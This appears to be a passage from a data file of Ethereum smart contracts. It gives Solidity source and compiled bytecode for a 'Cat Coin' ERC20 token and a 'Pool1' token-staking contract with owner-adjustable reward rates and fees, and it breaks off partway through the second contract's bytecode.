// SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'Cat Coin' contract // // Symbol : CATC // Name : Cat Coin // Total supply: 1 000 000 000 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract CatCoin is BurnableToken { string public constant name = "Cat Coin"; string public constant symbol = "CATC"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a15565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bdb565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6c565b6040518082815260200191505060405180910390f35b6103b1610eb5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f12565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e6565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e2565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611369565b005b6040518060400160405280600881526020017f43617420436f696e00000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cf90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b890919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a66038d7ea4c680000281565b60008111610a2257600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6e57600080fd5b6000339050610ac582600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b890919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1d826001546114b890919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cec576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d80565b610cff83826114b890919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f434154430000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4d57600080fd5b610f9f82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103482600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cf90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117782600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cf90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113c157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113fb57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c457fe5b818303905092915050565b6000808284019050838110156114e157fe5b809150509291505056fea2646970667358221220715606325ab14c25db8d95af1e504bb877d82adfc4cde89b94381fee168ad17464736f6c634300060c0033
{"success": true, "error": null, "results": {}}
2,738
0xd4daa3522f78d1cf21a5f4f882e58bc719dc6b19
/** *Submitted for verification at Etherscan.io on 2020-09-22 */ pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { admin = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == admin); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(admin, newOwner); admin = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract Pool1 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // yfilend token contract address address public tokenAddress; // reward rate % per year uint public rewardRate = 92000; uint public rewardInterval = 365 days; // staking fee percent uint public stakingFeeRate = 0; // unstaking fee percent uint public unstakingFeeRate = 0; // unstaking possible Time uint public PossibleUnstakeTime = 48 hours; uint public totalClaimedRewards = 0; uint private FundedTokens; bool public stakingStatus = false; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; /*=============================ADMINISTRATIVE FUNCTIONS ==================================*/ function setTokenAddresses(address _tokenAddr) public onlyOwner returns(bool){ require(_tokenAddr != address(0), "Invalid address format is not supported"); tokenAddress = _tokenAddr; } function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){ stakingFeeRate = _stakingFeeRate; unstakingFeeRate = _unstakingFeeRate; } function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){ rewardRate = _rewardRate; } function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){ FundedTokens = _poolreward; } function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){ PossibleUnstakeTime = _possibleUnstakeTime; } function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){ rewardInterval = _rewardInterval; } function allowStaking(bool _status) public onlyOwner returns(bool){ require(tokenAddress != address(0), "Interracting token address is not yet configured"); stakingStatus = _status; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } function updateAccount(address account) private { uint unclaimedDivs = getUnclaimedDivs(account); if (unclaimedDivs > 0) { require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs); totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs); emit RewardsTransferred(account, unclaimedDivs); } lastClaimedTime[account] = now; } function getUnclaimedDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint unclaimedDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return unclaimedDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function farm(uint amountToStake) public { require(stakingStatus == true, "Staking is not yet initialized"); require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(admin, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function unfarm(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(tokenAddress).transfer(admin, fee), "Could not transfer withdraw fee."); require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function harvest() public { updateAccount(msg.sender); } function getFundedTokens() public view returns (uint) { if (totalClaimedRewards >= FundedTokens) { return 0; } uint remaining = FundedTokens.sub(totalClaimedRewards); return remaining; } }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80636654ffdf116100f9578063d578ceab11610097578063f2fde38b11610071578063f2fde38b1461042a578063f3073ee714610450578063f3f91fa01461046f578063f851a44014610495576101c4565b8063d578ceab14610412578063d816c7d51461041a578063f1587ea114610422576101c4565b80639d76ea58116100d35780639d76ea58146103a3578063bec4de3f146103c7578063c0a6d78b146103cf578063c326bf4f146103ec576101c4565b80636654ffdf1461035d5780636a395ccb146103655780637b0a47ee1461039b576101c4565b8063455ab53c11610166578063538a85a111610140578063538a85a1146102ec578063583d42fd146103095780635ef057be1461032f5780636270cd1814610337576101c4565b8063455ab53c146102bf5780634641257d146102c75780634908e386146102cf576101c4565b80631e94723f116101a25780631e94723f1461023f578063308feec31461027757806337c5785a1461027f57806338443177146102a2576101c4565b8063069ca4d0146101c95780630d2adb90146101fa5780631c885bae14610220575b600080fd5b6101e6600480360360208110156101df57600080fd5b503561049d565b604080519115158252519081900360200190f35b6101e66004803603602081101561021057600080fd5b50356001600160a01b03166104be565b61023d6004803603602081101561023657600080fd5b503561053f565b005b6102656004803603602081101561025557600080fd5b50356001600160a01b031661084a565b60408051918252519081900360200190f35b6102656108fd565b6101e66004803603604081101561029557600080fd5b508035906020013561090f565b6101e6600480360360208110156102b857600080fd5b5035610933565b6101e6610954565b61023d61095d565b6101e6600480360360208110156102e557600080fd5b5035610968565b61023d6004803603602081101561030257600080fd5b5035610989565b6102656004803603602081101561031f57600080fd5b50356001600160a01b0316610c7e565b610265610c90565b6102656004803603602081101561034d57600080fd5b50356001600160a01b0316610c96565b610265610ca8565b61023d6004803603606081101561037b57600080fd5b506001600160a01b03813581169160208101359091169060400135610cae565b610265610d88565b6103ab610d8e565b604080516001600160a01b039092168252519081900360200190f35b610265610d9d565b6101e6600480360360208110156103e557600080fd5b5035610da3565b6102656004803603602081101561040257600080fd5b50356001600160a01b0316610dc4565b610265610dd6565b610265610ddc565b610265610de2565b61023d6004803603602081101561044057600080fd5b50356001600160a01b0316610e16565b6101e66004803603602081101561046657600080fd5b50351515610e9b565b6102656004803603602081101561048557600080fd5b50356001600160a01b0316610f0f565b6103ab610f21565b600080546001600160a01b031633146104b557600080fd5b60039190915590565b600080546001600160a01b031633146104d657600080fd5b6001600160a01b03821661051b5760405162461bcd60e51b81526004018080602001828103825260278152602001806112d86027913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b03939093169290921790915590565b336000908152600c60205260409020548111156105a3576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600654336000908152600d60205260409020546105c1904290610f30565b116105fd5760405162461bcd60e51b815260040180806020018281038252603b81526020018061129d603b913960400191505060405180910390fd5b61060633610f47565b6000610629612710610623600554856110db90919063ffffffff16565b90611102565b905060006106378383610f30565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561069357600080fd5b505af11580156106a7573d6000803e3d6000fd5b505050506040513d60208110156106bd57600080fd5b5051610710576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b505050506040513d602081101561078e57600080fd5b50516107e1576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600c60205260409020546107fb9084610f30565b336000818152600c602052604090209190915561081a90600a90611117565b80156108335750336000908152600c6020526040902054155b1561084557610843600a3361112c565b505b505050565b6000610857600a83611117565b610863575060006108f8565b6001600160a01b0382166000908152600c6020526040902054610888575060006108f8565b6001600160a01b0382166000908152600e60205260408120546108ac904290610f30565b6001600160a01b0384166000908152600c602052604081205460035460025493945090926108f291612710916106239190829088906108ec9089906110db565b906110db565b93505050505b919050565b6000610909600a611141565b90505b90565b600080546001600160a01b0316331461092757600080fd5b6